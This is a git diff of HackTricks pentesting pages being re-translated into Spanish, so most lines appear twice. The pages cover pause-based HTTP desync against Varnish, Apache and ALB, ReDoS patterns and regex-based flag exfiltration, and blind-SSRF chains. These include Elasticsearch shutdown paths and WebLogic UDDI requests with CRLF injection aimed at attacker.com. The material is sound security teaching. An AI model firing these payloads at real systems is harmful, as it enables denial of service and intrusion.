* 5 ms después, mientras se renderiza /meeting\_testjs.cgi, la víctima intentará, con suerte, importar /appletRedirect.js y ser redirigida a x.psres.net, que sirve JS malicioso.
|
||||
* Si no, reintentar el ataque.
|
||||
|
||||
## Desincronización basada en pausas <a href="#pause" id="pause"></a>
|
||||
## Desincronización basada en pausa <a href="#pause" id="pause"></a>
|
||||
|
||||
La pausa también puede crear nuevas vulnerabilidades de desincronización al **disparar implementaciones de tiempo de espera de solicitud equivocadas**.
|
||||
Pausar también puede crear nuevas vulnerabilidades de desincronización al **activar implementaciones erróneas de tiempo de espera de solicitud**.
|
||||
|
||||
Por lo tanto, un atacante podría enviar una solicitud con **encabezados que indiquen que hay un cuerpo**, y luego **esperar** a que el **front-end agote el tiempo de espera antes de enviar el cuerpo**. Si el front-end agota el tiempo de espera pero **deja la conexión abierta**, el **cuerpo** de esa solicitud será **tratado como una nueva solicitud**.
|
||||
Entonces, un atacante podría enviar una solicitud con **encabezados que indican que hay un cuerpo**, y luego **esperar** a que el **front-end agote el tiempo de espera antes de enviar el cuerpo**. Si el front-end agota el tiempo pero **deja la conexión abierta**, el **cuerpo** de esa solicitud será **tratado como una nueva solicitud**.
|
||||
|
||||
### Ejemplo: **Varnish**
|
||||
|
||||
La caché de Varnish tiene una función llamada `synth()`, que le permite emitir una **respuesta sin reenviar** la solicitud al back-end. Aquí hay una regla de ejemplo que se utiliza para bloquear el acceso a una carpeta:
|
||||
Varnish cache tiene una característica llamada `synth()`, que te permite emitir una **respuesta sin reenviar** la solicitud al back-end. Aquí hay un ejemplo de regla que se utiliza para bloquear el acceso a una carpeta:
|
||||
```javascript
|
||||
if (req.url ~ "^/admin") {
|
||||
return (synth(403, "Forbidden"));
|
||||
return (synth(403, "Forbidden"));
|
||||
}
|
||||
```
|
||||
Al procesar una solicitud parcial que coincide con una regla sintética, Varnish **se agotará** si no recibe datos durante **15 segundos**. Cuando esto sucede, **deja la conexión abierta** para su reutilización aunque solo haya leído la mitad de la solicitud del socket. Esto significa que si el **cliente sigue con la segunda mitad** de la solicitud HTTP, se interpretará como una **solicitud nueva**.
|
||||
Al procesar una **solicitud parcial** que coincide con una regla sintética, Varnish **se agotará el tiempo** si no recibe datos durante **15 segundos**. Cuando esto sucede, **deja la conexión abierta** para su reutilización aunque solo haya leído la mitad de la solicitud del socket. Esto significa que si el **cliente continúa con la segunda mitad** de la solicitud HTTP, será interpretada como una **solicitud nueva**.
|
||||
|
||||
Para desencadenar una desincronización basada en pausas en un front-end vulnerable, comience enviando sus encabezados, prometiendo un cuerpo y luego simplemente espere. Eventualmente recibirá una respuesta y cuando finalmente envíe su cuerpo de solicitud, se interpretará como una nueva solicitud:
|
||||
Para desencadenar un desincronización basada en pausa en un front-end vulnerable, comienza enviando tus encabezados, prometiendo un cuerpo, y luego espera. Eventualmente recibirás una respuesta y cuando finalmente envíes el cuerpo de tu solicitud, será interpretado como una nueva solicitud:
|
||||
|
||||
![](<../../.gitbook/assets/image (4) (3) (1).png>)
|
||||
|
||||
|
@ -255,29 +248,29 @@ Aparentemente esto fue parcheado el 25 de enero como [CVE-2022-23959](https://va
|
|||
|
||||
### Ejemplo: **Apache**
|
||||
|
||||
Al igual que Varnish, es vulnerable en **puntos finales donde el servidor genera la respuesta en sí** en lugar de permitir que la aplicación maneje la solicitud. Una forma en que esto sucede es con redireccionamientos a nivel de servidor: `Redirect 301 / /en`
|
||||
Al igual que Varnish, es vulnerable en **puntos finales donde el servidor genera la respuesta por sí mismo** en lugar de permitir que la aplicación maneje la solicitud. Una forma en que esto sucede es con redirecciones a nivel de servidor: `Redirect 301 / /en`
|
||||
|
||||
### Explotación del lado del servidor <a href="#server" id="server"></a>
|
||||
|
||||
Si el servidor vulnerable (Apache o Varnish en este caso) está en el back-end, se necesita un **front-end** que **transmita la solicitud al servidor de back-end** (encabezados http en este caso) **sin almacenar en búfer** todo el cuerpo de la solicitud.
|
||||
Si el servidor vulnerable (Apache o Varnish en este caso) está en el back-end, se necesita un **front-end** que **transmita la solicitud al servidor back-end** (encabezados http en este caso) **sin almacenar en búfer** todo el cuerpo de la solicitud.
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (3).png>)
|
||||
|
||||
En este caso, el atacante **no recibirá el tiempo de espera de respuesta hasta que haya enviado el cuerpo**. Pero si conoce el tiempo de espera, esto no debería ser un problema.
|
||||
En este caso, el atacante **no recibirá el tiempo de espera de la respuesta hasta que haya enviado el cuerpo**. Pero si conoce el tiempo de espera, esto no debería ser un problema.
|
||||
|
||||
El Application Load Balancer (ALB) de Amazon **transmitirá los datos de la conexión según sea necesario**, pero si **recibe** la **respuesta** a la mitad de la solicitud (el tiempo de espera) **antes de** recibir el **cuerpo**, **no enviará el cuerpo**, por lo que aquí se debe explotar una **condición de carrera**:
|
||||
El Balanceador de Carga de Aplicaciones (ALB) de Amazon **transmitirá los datos de la conexión según sea necesario**, pero si **recibe** la **respuesta** a la media solicitud (el tiempo de espera) **antes** de recibir el **cuerpo**, **no enviará el cuerpo**, por lo que se debe explotar una **Condición de Carrera** aquí:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hay una complicación adicional cuando se trata de **explotar Apache detrás de ALB** - **ambos servidores** tienen un **tiempo de espera predeterminado de 60 segundos**. Esto deja una **ventana de tiempo extremadamente pequeña** para enviar la segunda parte de la solicitud. El ataque de condición de carrera tuvo éxito después de 66 horas.
|
||||
Hay una complicación adicional cuando se trata de **explotar Apache detrás de ALB** - **ambos servidores** tienen un **tiempo de espera predeterminado de 60 segundos**. Esto deja una **ventana de tiempo extremadamente pequeña** para enviar la segunda parte de la solicitud. El ataque de Condición de Carrera fue finalmente exitoso después de 66 horas.
|
||||
|
||||
### Explotación MITM
|
||||
|
||||
Aparentemente, **no es posible detener una solicitud desde el navegador** para explotar una vulnerabilidad de pausa-desincronización. Sin embargo, siempre se puede **realizar un ataque MITM para pausar una solicitud** enviada por el navegador. Tenga en cuenta que este ataque **no depende de descifrar** ningún tráfico.
|
||||
Aparentemente, **no es posible detener una solicitud desde el navegador** para explotar una vulnerabilidad de desincronización por pausa. Sin embargo, siempre podrías **realizar un ataque MITM para pausar una solicitud** enviada por el navegador. Ten en cuenta que este ataque **no depende de descifrar** ningún tráfico.
|
||||
|
||||
El flujo de ataque es muy **similar a un ataque de desincronización del lado del cliente regular**. El usuario visita una página controlada por el atacante, que emite una serie de **solicitudes entre dominios** a la aplicación objetivo. La **primera solicitud HTTP** está deliberadamente acolchada para ser tan **grande** que el sistema operativo **la divide en varios paquetes TCP**, lo que permite a un MITM activo **retrasar el paquete final**, desencadenando una desincronización basada en pausas. Debido al acolchado, el **atacante** puede **identificar** qué **paquete pausar** simplemente en función del **tamaño**.
|
||||
El flujo del ataque es muy **similar a un ataque de desincronización del lado del cliente regular**. El usuario visita una página controlada por el atacante, que emite una serie de **solicitudes entre dominios** a la aplicación objetivo. La **primera solicitud HTTP** se rellena deliberadamente para que sea tan **grande** que el sistema operativo **la divida en múltiples paquetes TCP**, permitiendo a un **MITM activo retrasar el paquete final**, desencadenando una desincronización basada en pausa. Debido al relleno, el **atacante** puede **identificar** qué **paquete pausar** simplemente basándose en el **tamaño**.
|
||||
|
||||
Desde el lado del cliente, parece un desincronización del lado del cliente regular utilizando el gadget HEAD, aparte del acolchado de la solicitud:
|
||||
Desde el lado del cliente parece un desincronización del lado del cliente regular usando el gadget HEAD, aparte del relleno de la solicitud:
|
||||
```javascript
|
||||
let form = document.createElement('form')
|
||||
form.method = 'POST'
|
||||
|
@ -311,12 +304,14 @@ tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,94 +1,72 @@
|
|||
# Regular expression Denial of Service - ReDoS
|
||||
# Denegación de Servicio por Expresión Regular - ReDoS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Introducción
|
||||
# Denegación de Servicio por Expresión Regular (ReDoS)
|
||||
|
||||
**Copiado de** [**https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS**](https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS)
|
||||
La Denegación de Servicio por Expresión Regular (ReDoS) es un tipo de ataque de Denegación de Servicio que **aprovecha las ineficiencias en las implementaciones de expresiones regulares**. La mayoría de los motores de expresiones regulares pueden encontrarse con situaciones extremas donde **se desempeñan muy lentamente, a menudo exponencialmente relacionado con el tamaño de la entrada**. Al explotar esto, un atacante puede causar que un programa que utiliza expresiones regulares se cuelgue durante un período de tiempo prolongado.
|
||||
|
||||
La **Denegación de Servicio de Expresiones Regulares (ReDoS)** es un ataque de [Denegación de Servicio](https://owasp.org/www-community/attacks/Denial\_of\_Service), que explota el hecho de que la mayoría de las implementaciones de Expresiones Regulares pueden llegar a situaciones extremas que les hacen trabajar muy lentamente (relacionado exponencialmente con el tamaño de la entrada). Un atacante puede hacer que un programa que utiliza una Expresión Regular entre en estas situaciones extremas y luego se cuelgue durante mucho tiempo.
|
||||
## El Problema del Algoritmo Naïve de Regex
|
||||
|
||||
### Descripción
|
||||
**Consulta los detalles en [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
||||
|
||||
#### El algoritmo ingenuo de Regex problemático <a href="#the-problematic-regex-naive-algorithm" id="the-problematic-regex-naive-algorithm"></a>
|
||||
|
||||
El algoritmo ingenuo de Expresiones Regulares construye un [Autómata Finito No Determinista (NFA)](https://en.wikipedia.org/wiki/Nondeterministic\_finite\_state\_machine), que es una máquina de estados finitos donde para cada par de estado y símbolo de entrada puede haber varios posibles estados siguientes. Luego, el motor comienza a hacer transiciones hasta el final de la entrada. Dado que puede haber varios posibles estados siguientes, se utiliza un algoritmo determinista. Este algoritmo intenta uno por uno todos los posibles caminos (si es necesario) hasta que se encuentra una coincidencia (o se prueban todos los caminos y fallan).
|
||||
## Regex Maliciosas <a href="#evil-regexes" id="evil-regexes"></a>
|
||||
|
||||
Por ejemplo, la Expresión Regular `^(a+)+$` se representa por el siguiente NFA:
|
||||
Un patrón de expresión regular malicioso se refiere a uno que puede **quedarse atascado con una entrada manipulada**. Los patrones de regex maliciosos típicamente contienen agrupación con repetición y repetición o alternancia con solapamiento dentro del grupo repetido. Algunos ejemplos de patrones maliciosos incluyen:
|
||||
|
||||
![Autómata Finito No Determinista](https://owasp.org/www-community/assets/images/attacks/NFA.png)
|
||||
* (a+)+
|
||||
* ([a-zA-Z]+)*
|
||||
* (a|aa)+
|
||||
* (a|a?)+
|
||||
* (.*a){x} para x > 10
|
||||
|
||||
Para la entrada `aaaaX` hay 16 posibles caminos en el gráfico anterior. Pero para `aaaaaaaaaaaaaaaaX` hay 65536 posibles caminos, y el número se duplica por cada `a` adicional. Este es un caso extremo en el que el algoritmo ingenuo es problemático, porque debe pasar por muchos caminos y luego fallar.
|
||||
Todos los anteriores son susceptibles a la entrada `aaaaaaaaaaaaaaaaaaaaaaaa!` (La longitud mínima de entrada puede cambiar ligeramente, al usar máquinas más rápidas o más lentas).
|
||||
|
||||
Tenga en cuenta que no todos los algoritmos son ingenuos, y de hecho los algoritmos de Regex pueden escribirse de manera eficiente. Desafortunadamente, la mayoría de los motores de Regex hoy en día intentan resolver no solo Regex "puros", sino también Regex "expandidos" con "adiciones especiales", como referencias inversas que no siempre se pueden resolver de manera eficiente (consulte **Patrones para lenguajes no regulares** en [Wiki-Regex](https://en.wikipedia.org/wiki/Regular\_expression) para obtener más detalles). Por lo tanto, incluso si la Regex no está "expandida", se utiliza un algoritmo ingenuo.
|
||||
## Cargas Útiles de ReDoS
|
||||
|
||||
#### Regexes maliciosas <a href="#evil-regexes" id="evil-regexes"></a>
|
||||
### Exfiltración de Cadenas vía ReDoS
|
||||
|
||||
Una Regex se llama "maliciosa" si puede quedarse atascada en una entrada manipulada.
|
||||
En un CTF (o bug bounty) quizás **controlas el Regex con el que se compara una información sensible (la bandera)**. Entonces, podría ser útil hacer que la **página se congele (tiempo de espera o tiempo de procesamiento más largo)** si un **Regex coincide** y **no si no lo hace**. De esta manera, podrás **exfiltrar** la cadena **carácter por carácter**:
|
||||
|
||||
**El patrón de Regex malicioso contiene**:
|
||||
* En [**este post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) puedes encontrar esta regla de ReDoS: `^(?=<flag>)((.*)*)*salt$`
|
||||
* Ejemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||||
* En [**este writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) puedes encontrar este otro: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
||||
* En [**este writeup**](https://ctftime.org/writeup/25869) él utilizó: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||||
|
||||
* Agrupación con repetición
|
||||
* Dentro del grupo repetido:
|
||||
* Repetición
|
||||
* Alternancia con superposición
|
||||
### ReDoS Controlando la Entrada y el Regex
|
||||
|
||||
**Ejemplos de patrones maliciosos**:
|
||||
|
||||
* `(a+)+`
|
||||
* `([a-zA-Z]+)*`
|
||||
* `(a|aa)+`
|
||||
* `(a|a?)+`
|
||||
* `(.*a){x} para x \> 10`
|
||||
|
||||
Todos los anteriores son susceptibles a la entrada `aaaaaaaaaaaaaaaaaaaaaaaa!` (la longitud mínima de entrada podría cambiar ligeramente al usar máquinas más rápidas o más lentas).
|
||||
|
||||
## Cargas útiles de ReDoS
|
||||
|
||||
### Exfiltración de cadenas a través de ReDoS
|
||||
|
||||
En un CTF (o recompensa por errores) tal vez **controles la Regex con la que se empareja una información sensible (la bandera)**. Entonces, si puede ser útil hacer que la **página se congele (tiempo de espera o tiempo de procesamiento más largo)** si se **empareja una Regex** y **no si no lo hace**. De esta manera, podrás **exfiltrar** la cadena **carácter por carácter**:
|
||||
|
||||
* En [**esta publicación**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) puedes encontrar esta regla de ReDoS: `^(?=<flag>)((.*)*)*salt$`
|
||||
* Ejemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||||
* En [**esta solución**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) puedes encontrar esta: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
||||
* En [**esta solución**](https://ctftime.org/writeup/25869) utilizó: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||||
|
||||
### ReDoS Controlando la entrada y la Regex
|
||||
|
||||
Los siguientes son ejemplos de **ReDoS** donde **controlas** tanto la **entrada** como la **Regex**:
|
||||
Los siguientes son ejemplos de **ReDoS** donde **controlas** tanto la **entrada** como el **regex**:
|
||||
```javascript
|
||||
function check_time_regexp(regexp, text){
|
||||
var t0 = new Date().getTime();;
|
||||
new RegExp(regexp).test(text);
|
||||
var t1 = new Date().getTime();;
|
||||
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
|
||||
var t0 = new Date().getTime();;
|
||||
new RegExp(regexp).test(text);
|
||||
var t1 = new Date().getTime();;
|
||||
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
|
||||
}
|
||||
|
||||
// This payloads work because the input has several "a"s
|
||||
[
|
||||
// "((a+)+)+$", //Eternal,
|
||||
// "(a?){100}$", //Eternal
|
||||
"(a|a?)+$",
|
||||
"(\\w*)+$", //Generic
|
||||
"(a*)+$",
|
||||
"(.*a){100}$",
|
||||
"([a-zA-Z]+)*$", //Generic
|
||||
"(a+)*$",
|
||||
"(a|a?)+$",
|
||||
"(\\w*)+$", //Generic
|
||||
"(a*)+$",
|
||||
"(.*a){100}$",
|
||||
"([a-zA-Z]+)*$", //Generic
|
||||
"(a+)*$",
|
||||
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
|
||||
|
||||
/*
|
||||
|
@ -105,18 +83,19 @@ Regexp (a+)*$ took 723 milliseconds.
|
|||
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
||||
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
||||
|
||||
# Referencias
|
||||
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,576 +9,20 @@ Otras formas de apoyar a HackTricks:
|
|||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Esta sección fue copiada de [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)
|
||||
Consulta **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||
|
||||
## Elasticsearch
|
||||
|
||||
**Puerto comúnmente utilizado: 9200**
|
||||
|
||||
Cuando Elasticsearch se implementa internamente, generalmente no requiere autenticación.
|
||||
|
||||
Si tienes un SSRF parcialmente ciego donde puedes determinar el código de estado, verifica si los siguientes endpoints devuelven un 200:
|
||||
```http
|
||||
/_cluster/health
|
||||
/_cat/indices
|
||||
/_cat/health
|
||||
```
|
||||
Si tienes un SSRF ciego donde puedes enviar solicitudes POST, puedes cerrar la instancia de Elasticsearch enviando una solicitud POST al siguiente camino:
|
||||
|
||||
Nota: la API `_shutdown` ha sido eliminada de la versión 2.x. de Elasticsearch en adelante. Esto solo funciona en Elasticsearch 1.6 y versiones anteriores:
|
||||
```http
|
||||
/_shutdown
|
||||
/_cluster/nodes/_master/_shutdown
|
||||
/_cluster/nodes/_shutdown
|
||||
/_cluster/nodes/_all/_shutdown
|
||||
```
|
||||
## Weblogic
|
||||
|
||||
**Puertos comúnmente asignados: 80, 443 (SSL), 7001, 8888**
|
||||
|
||||
**SSRF Canary: UDDI Explorer (CVE-2014-4210)**
|
||||
```http
|
||||
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 137
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
|
||||
```
|
||||
Esto también funciona a través de GET:
|
||||
```bash
|
||||
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
|
||||
```
|
||||
Este endpoint también es vulnerable a la inyección CRLF:
|
||||
```
|
||||
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
|
||||
Host: vuln.weblogic
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
|
||||
Connection: close
|
||||
```
|
||||
Resultará en la siguiente solicitud:
|
||||
```
|
||||
root@mail:~# nc -lvp 4000
|
||||
Listening on [0.0.0.0] (family 0, port 4000)
|
||||
Connection from example.com 43111 received!
|
||||
POST /exp HTTP/1.11
|
||||
X-CLRF: Injected HTTP/1.1
|
||||
Content-Type: text/xml; charset=UTF-8
|
||||
soapAction: ""
|
||||
Content-Length: 418
|
||||
User-Agent: Java1.6.0_24
|
||||
Host: attacker.com:4000
|
||||
Accept: text/html, image/gif, image/jpeg, */*; q=.2
|
||||
Connection: Keep-Alive
|
||||
|
||||
